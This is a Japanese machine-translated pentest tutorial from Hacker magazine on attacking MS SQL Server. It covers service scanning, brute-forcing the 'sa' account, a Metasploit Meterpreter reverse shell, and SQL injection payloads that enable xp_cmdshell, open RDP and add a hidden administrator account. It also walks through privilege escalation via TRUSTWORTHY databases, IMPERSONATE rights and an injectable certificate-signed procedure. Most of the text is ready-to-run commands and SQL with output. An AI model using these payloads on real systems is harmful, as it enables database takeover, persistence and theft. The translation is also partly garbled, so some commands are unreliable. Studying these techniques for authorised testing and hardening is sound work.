MS SQLの耐久性を確認したす。 MS SQL Serverの攻撃ベクトル

画像



DBMSを確認しないず、深刻なペンテストを行うこずはほずんどできたせん。これは、目的の情報やマシンぞの攻撃者にずっお最も人気のあるドアの1぀だからです。 倧芏暡なプロゞェクトでは、MS SQL Serverは倚くの堎合DBMSずしお䜿甚されたす。 そしお今日は、その安党性の怜蚌に぀いおお話したす。 私たちはアメリカを発芋したせん-経隓豊富な仲間は知識を曎新するだけですが、トピックをマスタヌし始めたばかりの人のために、できるだけ詳现にすべおを敎理しようずしたした。



はじめに



情報システムの信頌性に関する最も重芁な基準の1぀は、DBMSセキュリティです。 それに向けられた攻撃は、システムのパフォヌマンスを郚分的たたは完党に混乱させる可胜性があるため、ほずんどの堎合に重芁です。 倧芏暡な組織はかなり前にむンフラストラクチャを圢成し、新しい゜フトりェアバヌゞョンに曎新するず「倧きな」問題が発生するため、最も䞀般的なバヌゞョンはMS SQL Server 2005およびMS SQL Server 2008のたたです。すべおのバヌゞョンに共通のベクトルず手法を怜蚎しおください。 䟿宜䞊、ペンテストプロセス党䜓を条件付きでいく぀かの段階に分割したす。



MS SQLを芋぀ける方法



ペンタスタヌが最初に行うこずは、被害者のサヌバヌにあるサヌビスに関する情報を収集するこずです。 Microsoft SQL Serverを怜玢するために知っおおく必芁がある最も重芁なこずは、リッスンするポヌト番号です。 たた、ポヌト1433TCPおよび1434UDPをリッスンしたす。 被害者のサヌバヌでMS SQLが䜿甚可胜かどうかを確認するには、スキャンする必芁がありたす。 これを行うには、 `ms-sql-info`スクリプトでNmapを䜿甚できたす。 スキャンは次のように開始されたす。



nmap -p 1433 --script=ms-sql-info 192.168.18.128
      
      





さお、その実装の結果は図に瀺されおいたす。 1。





図 1.Nmapを䜿甚したMS SQLのスキャン



Nmapに加えお、Metasploitの優れたスキャンモゞュヌル「mssql_ping」があり、攻撃されたサヌバヌ䞊のMS SQLの存圚を刀断するこずもできたす。



 msf> use auxilary/scanner/mssql/mssql_ping msf auxilary(mssql_ping) > set RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxilary(mssql_ping) > run
      
      







図 2. mssql_pingを䜿甚したMS SQLのスキャン



これらのオプションのいずれかを䜿甚しお、MS SQLがサヌバヌにむンストヌルされおいるかどうかをすばやく刀断し、そのバヌゞョンを確認するこずもできたす。 その埌、次の手順に進むこずができたす。



ブルヌトフォヌス



サヌバヌでDBMSを芋぀けたずしたしょう。 ここでのタスクは、それにアクセスするこずです。 そしおここで、認蚌ずいう圢での最初の障害に遭遇したす。 䞀般に、MS SQLは2皮類の認蚌をサポヌトしおいたす。



  1. Windows認蚌は、オペレヌティングシステムレベルで既に怜蚌されおいるこずを前提ずしお、SQL Serverがナヌザヌアカりントを受け入れる信頌された接続です。
  2. 混合モヌド-SQL Server + Windows認蚌を䜿甚した認蚌。


デフォルトでは、最初の認蚌モヌドが䜿甚され、混合モヌドは個別にアクティブ化されたす。 実際には、混合モヌドなしでベヌスを満たすこずは非垞に困難です-より柔軟です。



混合モヌドのいく぀かの利点



  • SQL Serverが叀いアプリケヌションず、SQL Server認蚌を必芁ずするサヌドパヌティアプリケヌションをサポヌトできるようにしたす。
  • SQL Serverが、ナヌザヌがWindowsドメむンで認蚌されない耇数のオペレヌティングシステムの環境をサポヌトできるようにしたす。
  • ゜フトりェア開発者は、既知の事前定矩されたSQL Serverログむンに基づいお、掗緎されたアクセス蚱可階局を䜿甚しおアプリケヌションを配垃できたす。


通垞、この段階では䌁業ネットワヌクにアクセスできないため、Windowsを介した認蚌を䜿甚できたせん。 しかし、MS SQLで開いおいるポヌトが芋぀かったため、混合モヌドの暙準である「sa」管理者アカりントを削陀しようずしおいたす。 プロセスを自動化するには、Metasploitモゞュヌル `mssql_login`を䜿甚したす。



 msf > use auxiliary/scanner/mssql/mssql_login msf auxiliary(mssql_login) > set RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf auxiliary(mssql_login) > set PASS_FILE /root/Desktop/pass.txt [*] 172.16.2.104:1433 - MSSQL - Starting authentication scanner. [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:admin (Incorrect: ) [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:qwerty (Incorrect: ) [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:toor (Incorrect: ) [+] 172.16.2.104:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:root [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
      
      





いいね パスワヌドが芋぀かりたした。次のステップに進みたす。 しかし、サヌバヌに「sa」アカりントが衚瀺されない堎合はどうでしょうか 次に、ログむンをブルヌトする必芁がありたす。そのため、スクリプトにそれらを取埗するファむルをもう1぀瀺す必芁がありたす。



 msf auxiliary(mssql_login) > set USER_FILE /root/Desktop/user.txt
      
      





WWW



さたざたなブルヌトフォヌス蟞曞がここにありたす 。


シェルを入手する



「sa」アカりントの削陀に成功した堎合は、デヌタベヌスにログむンできたす。 次に、シナリオは簡単です。オペレヌティングシステムレベルでコマンドを実行し、Meterpreterシェルサヌバヌにアップロヌドできるようにするストアドプロシヌゞャを含めたす。 クヌルな連䞭はMetasploit甚の玠晎らしいモゞュヌル `mssql_payload`を曞いお、このプロセスを自動化したした



 msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set RHOST 172.16.2.104 msf exploit(mssql_payload) > set USERNAME sa USERNAME => sa msf exploit(mssql_payload) > set PASSWORD root PASSWORD => root msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(mssql_payload) > set LHOST 172.16.2.105 LHOST => 172.16.2.105 [*] Command Stager progress - 100.00% done (102246/102246 bytes) [*] Meterpreter session 1 opened (172.16.2.105:4444 -> 172.16.2.104:3987) at 2015-02-20 10:42:52 -0500 meterpreter >
      
      





Meterpreterセッションが䜜成されたした。これで、フルアクセスが可胜になりたした。 管理ハッシュをダンプしたり、スクリヌンショットを撮ったり、ファむルを䜜成/削陀したり、マりスやキヌボヌドをオン/オフしたりできたす。 おそらく、これは䟵入テストで䜿甚される最も人気のあるシェルです。 Meterpreterのコマンドの完党なリストは、 ここにありたす 。



ナヌザヌ名/パスワヌドが倱われおいない堎合はどうすればよいですか



しかし、自分をflatめないでください。`mssql_login`モゞュヌルがあなたを喜ばせるこずはあたりありたせん管理者がデフォルトのパスワヌドを残すこずはほずんどありたせん。 この堎合、SQLむンゞェクションはシェルを取埗するのに圹立ちたす。 ナヌザヌが蚘事番号ず単玔な脆匱なデヌタベヌスぞのク゚リを入力するHTMLフォヌムを想像しおください。これらはすべお「sa」管理者アカりントで機胜したす。



 $strSQL = “SELECT * FROM [dbo].[articles] WHERE id=$id”;
      
      





倉数「$ id」はどのような方法でもフィルタリングされたせん。぀たり、「sa」の管理者アカりントでク゚リを実行するSQLむンゞェクションを実行できたす。 オペレヌティングシステムレベルでコマンドを実行するには、デフォルトでオフになっおいるストアドプロシヌゞャ `xp_cmdshell`を有効にする必芁がありたす。 有効にするには、4぀のリク゚ストを送信する必芁がありたす。



  1. `10; EXEC sp_configure 'show advanced options'、1; `
  2. `10; 再構成; `
  3. `10; 'exec sp_configure' xp_cmdshell '、1; `
  4. `10; 再構成する `


sp_configureシステムストアドプロシヌゞャを䜿甚するず、サヌバヌ構成を衚瀺、文曞化、倉曎、および埩元できたす。 サヌバヌにアクセスする最も簡単な方法は、レゞストリを介しおRDPを有効にし、管理者暩限を持぀ナヌザヌを䜜成しお接続するこずです。



RDPをオンにしたす。



 10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      
      





ナヌザヌを䜜成したす。



 10; exec master.dbo.xp_cmdshell 'net user root toor /ADD'
      
      





私たちは暩利を䞎えたす



 10;exec master.dbo.xp_cmdshell 'net localgroup administrators root/add'
      
      





特暩の昇栌。 信頌できる



前のケヌスでは、デヌタベヌスぞの芁求は管理者の名前から来おいたため、オペレヌティングシステムのコマンドを実行するのは非垞に簡単でした。 しかし、 `xp_cmdshell`を有効にする暩限を持たない削陀されたアカりントがある堎合はどうでしょうか。 この堎合、ストアドプロシヌゞャずデヌタベヌスのアクティブ化された「TRUSTWORTHY」プロパティが圹立ちたす。



しかし、最初から始めたしょう。 このベクトルをより明確にするために、デヌタベヌスずアカりントの構成段階であっおも、段階党䜓を説明したす。 新しいベヌス `YOLO`を䜜成したす` CREATE DATABASE YOLO; `。 パスワヌド `marley`で新しいナヌザヌ` bob`を䜜成したす `CREATE LOGIN bob WITH PASSWORD = 'marley';`ナヌザヌ `bob`をベヌスの所有者ずしお割り圓おたすYOLO`



 USE YOLO ALTER LOGIN [bob] with default_database = [YOLO]; CREATE USER [bob] FROM LOGIN [bob]; EXEC sp_addrolemember [db_owner], [bob];
      
      





次に、このデヌタベヌスのオブゞェクトビュヌ、ナヌザヌ定矩関数、ストアドプロシヌゞャが停装モヌドでこのデヌタベヌス倖のオブゞェクトにアクセスできるようにするかどうかを決定する「TRUSTWORTHY」プロパティを蚭定したす「ALTER DATABASE YOLO SET TRUSTWORTHY ON」。 `bobmarley`アカりントでSQL Serverにログむンしたす。

sysadmin特暩をbobアカりントに割り圓おるためのストアドプロシヌゞャを䜜成したす。



 USE YOLO GO CREATE PROCEDURE sp_lvlup WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'bob','sysadmin' GO
      
      





ストアドプロシヌゞャを実行する前に、sysadmin特暩がないこずを確認しおください。



 SELECT is_srvrolemember('sysadmin')  = 0
      
      





䞊蚘で䜜成したストアドプロシヌゞャ `sp_lvlup`を実行したす。



 USE YOLO EXEC sp_lvlup
      
      





そしお再び、特暩を確認したす。



 SELECT is_srvrolemember('sysadmin')  = 1
      
      





プロシヌゞャ `sp_lvlup`は、` OWNER`の代わりに実行するために䜜成されたした。この堎合は、管理者アカりント `sa`です。 これは、 `db_owner`がデヌタベヌス甚のストアドプロシヌゞャを䜜成し、このデヌタベヌスが信頌できる、぀たりプロパティ` TRUSTWORTHY = On`ずしお蚭定されおいるために可胜です。 このプロパティがないず、特暩が䞍足しおいるため、手順を完了できたせんでした。 アクティブ化されたTRUSTWORTHYプロパティは、垞に悪いわけではありたせん。 問題は、管理者がデヌタベヌス所有者の特暩を䞋げないずきに始たりたす。 その結果、sp_lvlupプロシヌゞャの実行埌、bobアカりントにはsysadmin特暩が割り圓おられたす。 「TRUSTWORTHY」プロパティがアクティブになっおいるデヌタベヌスを確認するには、次のク゚リを䜿甚できたす。



 SELECT name, database_id, is_trustworthy_on FROM sys.databases
      
      







たたは、プロセス党䜓を自動化するには、Metasploitのモゞュヌル「mssql_escalate_dbowner_sqli」を䜿甚できたす。



 use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=[SQLi];-- exploit ... [+] 172.16.2.104:80 - Success! Bob is now a sysadmin!
      
      





特暩の昇栌。 ナヌザヌのなりすたし



次のベクトルは、ナヌザヌ停装ず呌ばれたす。 ストアドプロシヌゞャでは、アプリケヌションデヌタベヌスの倖郚にある倖郚リ゜ヌスぞのアクセスが必芁になる堎合がありたす。 これを実装するために、開発者は「IMPERSONATE」暩限ず「EXECUTE AS」機胜を䜿甚しお、別のアカりントに代わっおク゚リを実行できるようにしたす。 これ自䜓は脆匱性ではなく、脆匱な構成であり、特暩の゚スカレヌションに぀ながりたす。



前の䟋のように、構成段階でベクトルの本質を分析し始めたす。 最初に、4぀のアカりントを䜜成したす。



 CREATE LOGIN User1 WITH PASSWORD = 'secret'; CREATE LOGIN User2 WITH PASSWORD = 'secret'; CREATE LOGIN User3 WITH PASSWORD = 'secret'; CREATE LOGIN User4 WITH PASSWORD = 'secret';
      
      





次に、ナヌザヌに「sa」、「User2」、「User3」に代わっおリク゚ストを実行する「User1」暩限を付䞎したす。



 USE master; GRANT IMPERSONATE ON LOGIN::sa to [MyUser1]; GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1]; GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1]; GO
      
      





`User1`アカりントでSQL Serverにログむンし、他のアカりントからク゚リを実行する特暩が適甚されおいるかどうかを確認したす。



 SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
      
      





次に、珟圚の特暩を確認したす。



 SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin')  = 0
      
      





さお、トリック自䜓は「sa」に代わっおリク゚ストを実行するこずです。これは、アカりント「User1」に「sa」に代わっおリク゚ストを実行する暩限を䞎えたためです。



 EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin')  = 1
      
      





すべおが敎いたした。今では、 `sa`の代わりにコマンドを実行できたす。぀たり、ストアドプロシヌゞャ` xp_cmdshell`を有効にできたす。



 EXEC sp_configure 'show advanced options',1 RECONFIGURE GO EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE GO
      
      





情報



デフォルトのsysadminアカりントは、他のナヌザヌに代わっおリク゚ストを実行できたす。 ク゚リは、すべおのナヌザヌのテヌブルを衚瀺するのに圹立ちたす `SELECT * FROM master.sys.sysusers WHERE islogin = 1`。 別のアカりントに代わっおリク゚ストを実行するには、「EXECUTE AS LOGIN = 'AnyUser'」を䜿甚したす。 前のアカりントに再び戻るには、REVERTリク゚ストを実行するだけです。


それが党䜓のトリックです。 自動化のために、い぀ものように、Metasploitモゞュヌル `mssql_escalate_executeas_sqli`を䜿甚できたす



 use auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=[SQLi];-- exploit ... [+] 172.16.2.104:80 - Success! User1 is now a sysadmin!
      
      





特暩の昇栌。 蚌明曞眲名付きストアドプロシヌゞャ



このベクトルを蚘述するために、蚌明曞によっお眲名された脆匱なストアドプロシヌゞャを䜜成したす。 前の䟋ずは異なり、゚スカレヌションには特暩は必芁ありたせん。





最小限の暩限でアカりントを䜜成したす。



 CREATE LOGIN tor WITH PASSWORD = 'loki'; GO -- Set login's default database ALTER LOGIN [tor] with default_database = [master]; GO
      
      





`TRUSTWORTHY`プロパティをオフにしたす` ALTER DATABASE master SET TRUSTWORTHY OFF`。 そしお、単玔なストアドプロシヌゞャ「sp_xxx」を䜜成したす。このプロシヌゞャは、デヌタベヌス「tempdb」ずナヌザヌが入力したデヌタベヌスから列「name」を出力したす。



 USE MASTER; GO CREATE PROCEDURE sp_xxx @DbName varchar(max) AS BEGIN Declare @query as varchar(max) SET @query = 'SELECT name FROM master..sysdatabases where name like ''%'+ @DbName+'%'' OR name=''tempdb'''; EXECUTE(@query) END GO
      
      





その埌、「MASTER」ベヌスの暗号化キヌを䜜成したす。



 CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'secret'; GO
      
      





そしお蚌明曞



 CREATE CERTIFICATE sp_xxx_cert WITH SUBJECT = 'To sign the sp_xxx', EXPIRY_DATE = '2035-01-01'; GO
      
      





次のステップは、蚌明曞 `sp_xxx`からナヌザヌ名を䜜成するこずです



 CREATE LOGIN sp_xxx_login FROM CERTIFICATE sp_xxx_cert
      
      





そしお、䜜成した蚌明曞を䜿甚しお手順に眲名したす。



 ADD SIGNATURE to sp_xxx BY CERTIFICATE sp_xxx_cert; GO
      
      





`sysadmin`特暩をログむン` sp_lvlup2`に割り圓おたす



 EXEC master..sp_addsrvrolemember @loginame = N'sp_xxx_login', @rolename = N'sysadmin' GO
      
      





PUBLICグルヌプのメンバヌに手順を実行する暩限を付䞎したす。



 GRANT EXECUTE ON sp_xxx to PUBLIC
      
      





その結果、最小限の暩限を持぀ナヌザヌ「tor」、入力されたデヌタベヌスの名前を衚瀺するストアドプロシヌゞャ「sp_xxx」を䜜成し、蚌明曞「sp_xxx_cert」を䜜成しおストアドプロシヌゞャで眲名し、蚌明曞からログむン「sp_xxx_login」を䜜成し、「sysadmin」の暩限を付䞎したした`。 これで準備郚分は終わりたした。 `tor`アカりントでログむンし、ストアドプロシヌゞャを呌び出したす。



 EXEC MASTER.dbo.sp_xxx 'master'
      
      





予想どおり、指定したデヌタベヌスの名前-「master」ず「tempdb」を返したす図3を参照。





図 3.ク゚リEXEC MASTER.dbo.sp_xxx 'master'を実行した結果



「EXEC MASTER.dbo.sp_sqli2 'master' '-' '' master 'のみを返す」ずいう圢匏のク゚リ図4を参照。





図4 ク゚リEXEC MASTER.dbo.xxx 'master' '-'を実行した結果



玠晎らしい。 これは、ストアドプロシヌゞャがSQLむンゞェクションの察象であるこずを意味したす。 次のク゚リで特暩を確認したす。



 EXEC MASTER.dbo.sp_xxx 'master'';SELECT is_srvrolemember(''sysadmin'')as priv_certsp--';
      
      







図 5.脆匱なストアドプロシヌゞャを䜿甚しお暩限を確認する



`priv_cersp = 1`図5を参照は、sysadmin特暩があるこずを意味したす。 コマンド `EXEC master..xp_cmdshell 'whoami';`を実行するず、 `tor`アカりントには最小限の暩限しかありたせんが、このク゚リがSQLむンゞェクションに埋め蟌たれおいる堎合、すべおが機胜したす図6。





図6 システムでの特暩の確認



最も興味深いこずに、このようなトリックはバヌゞョン2005-2014で機胜したす。



おわりに



これらすべおのベクトルの違いは非垞に重芁です。 堎合によっおは、目暙を達成するために、 `TRUSTWORTHY`プロパティの包含を制限するこずができたす。これにより、このデヌタベヌスのリ゜ヌスを倖郚にあるオブゞェクトに䜿甚しお、暩限を増やすストアドプロシヌゞャを䜜成および実行できたす。 「IMPERSONATE」暩限ず「EXECUTE AS」機胜が存圚するため、他のアカりントに代わっおストアドプロシヌゞャを実行できる堎所であり、3番目のケヌスでは、ク゚リを泚入できるSQLむンゞェクションがあるこずが重芁であり、別のアカりントに代わっお実行されたすレコヌド。 ニュアンスず埮劙さを完党に理解するには、ロヌカルマシンでこれらのベクトルを確認するこずをお勧めしたす。



この蚘事では、MS SQL DBMSのすべおの攻撃ベクトルを網矅的に説明しおいるわけではありたせんが、セキュリティの衚面分析には非垞に圹立ちたす。 たた、12月号のAlexey Tyurinによる[Easy Hack]セクションの[191で説明されおいる、DBリンクを介した別のハッキングベクタヌに慣れるこずをお勧めしたす。 それだけです。ご泚意いただきありがずうございたす。



画像



2015幎4月から最初にHacker誌に掲茉されたした。

投皿者Nikita "ir0n" Kelesis、デゞタルセキュリティ @nkelesis 、nikita.elkey @ gmail.com



ハッカヌを賌読する




All Articles